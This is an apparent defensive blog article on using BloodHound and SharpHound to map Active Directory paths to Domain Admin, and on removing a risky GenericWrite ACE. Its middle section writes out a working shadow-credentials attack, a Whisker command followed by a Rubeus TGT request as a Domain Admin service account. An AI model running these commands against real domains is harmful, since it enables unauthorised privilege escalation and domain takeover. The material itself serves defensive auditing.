In 2023, the Scattered Spider group compromised MGM Resorts by walking a classic Active Directory attack path — a low-privilege user with a chain of delegations leading straight to Domain Admin. BloodHound would have shown that path in under ten minutes. If your team isn’t running it regularly, you’re flying blind.
What BloodHound Actually Does
BloodHound is a graph-based AD attack path visualizer. It ingests data collected by SharpHound (the collector), then maps relationships between users, groups, computers, and GPOs into a graph database (Neo4j). Think of it as Google Maps for lateral movement — it finds the shortest route from a compromised account to Domain Admin.
SharpHound runs on a domain-joined machine and collects session data, ACLs, group memberships, and trust relationships. It needs no special privileges for basic enumeration, which is exactly why attackers love it.
Running SharpHound and Reading the Output
Log into any domain-joined Windows machine as a standard user — say, jsmith on WS01.corp.local. Drop SharpHound and run a full collection:
C:\Tools> .\SharpHound.exe -c All --domain corp.local --zipfilename corp_bh_20260815.zip
2026-08-15T09:12:44 - [*] Resolved Domain: CORP.LOCAL
2026-08-15T09:12:45 - [*] Getting forest information
2026-08-15T09:12:46 - [*] Starting LDAP searches for CORP.LOCAL
2026-08-15T09:13:10 - [+] Status: 1203 objects finished
2026-08-15T09:13:22 - [+] Status: 4817 objects finished
2026-08-15T09:14:01 - [*] Compressing data to corp_bh_20260815.zip
2026-08-15T09:14:03 - [+] Output ready: C:\Tools\corp_bh_20260815.zipThat ZIP contains JSON files covering users, computers, groups, ACLs, GPOs, and sessions. Import it into BloodHound by dragging it onto the UI after connecting to your Neo4j instance. The graph populates in seconds.
Once loaded, run the built-in query “Shortest Paths to Domain Admins”. You’ll immediately see which accounts sit one or two hops from DA. That’s your triage list — those accounts need hardening first.
Finding a Real Attack Path: GenericWrite Abuse
Here’s where it gets sharp. A common finding is a standard user holding GenericWrite over a higher-privileged account. In BloodHound’s Cypher query box, run this to surface it:
MATCH p=shortestPath(
(u:User {name:"JSMITH@CORP.LOCAL"})-[r:GenericWrite|WriteDacl|WriteOwner*1..5]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})
)
RETURN p
-- Result:
Path found: JSMITH@CORP.LOCAL
-[GenericWrite]-> SVC_BACKUP@CORP.LOCAL
-[MemberOf]-> DOMAIN ADMINS@CORP.LOCAL
Nodes: 3 | Relationships: 2 | Execution time: 0.031sRead this carefully. jsmith has GenericWrite on the service account svc_backup, which is a direct member of Domain Admins. GenericWrite lets an attacker set arbitrary attributes on that object — including msDS-KeyCredentialLink, enabling a Shadow Credentials attack, or the servicePrincipalName, enabling targeted Kerberoasting.
An attacker’s next step: use Whisker to add a shadow credential to svc_backup, then request a TGT as that account. Two commands. Game over.
-- Attacker adds shadow credential (Whisker):
C:\Tools> .\Whisker.exe add /target:svc_backup /domain:corp.local /dc:DC01.corp.local
[*] No certificates provided. Generating self-signed certificate.
[*] Certificate generated.
[*] Updating the msDS-KeyCredentialLink attribute of svc_backup
[+] msDS-KeyCredentialLink attribute of svc_backup is now set.
[*] Use the following Rubeus command:
.\Rubeus.exe asktgt /user:svc_backup /certificate:MIIJuAIBAzCC... /password:"T3mpP@ss" /domain:corp.local /dc:192.0.2.10 /pttThe defender’s response is equally clear. Pull the BloodHound node for jsmith, click Outbound Object Control, and you have a full list of everything that user can write to. Remove that ACE from svc_backup, move the service account out of Domain Admins, and use a dedicated tier-0 account instead. BloodHound marks edges as owned — rerun your query after cleanup to confirm the path is gone.
Key Queries Every Defender Should Bookmark
- Shortest Paths to Domain Admins — built-in. Run it first, every time.
- Find Principals with DCSync Rights — catches accounts with
GetChangesAllthat aren’t DCs. - Users with Foreign Domain Group Membership — surfaces cross-trust lateral movement paths.
- Computers where Domain Users are Local Admin — the most common misconfiguration in mid-market environments.
In BloodHound CE (Community Edition, current as of 2026), these are all pre-loaded under the Cypher and Analysis tabs. No custom queries needed to start.
What To Do Right Now
Pull SharpHound from the BloodHound GitHub releases page, run it against your domain today, and load the data into BloodHound CE. Execute the “Shortest Paths to Domain Admins” query. If you see any path shorter than five hops from a standard user account, treat it as a critical finding and open a remediation ticket before end of day. The path exists whether or not you’re looking at it — an attacker will find it regardless.
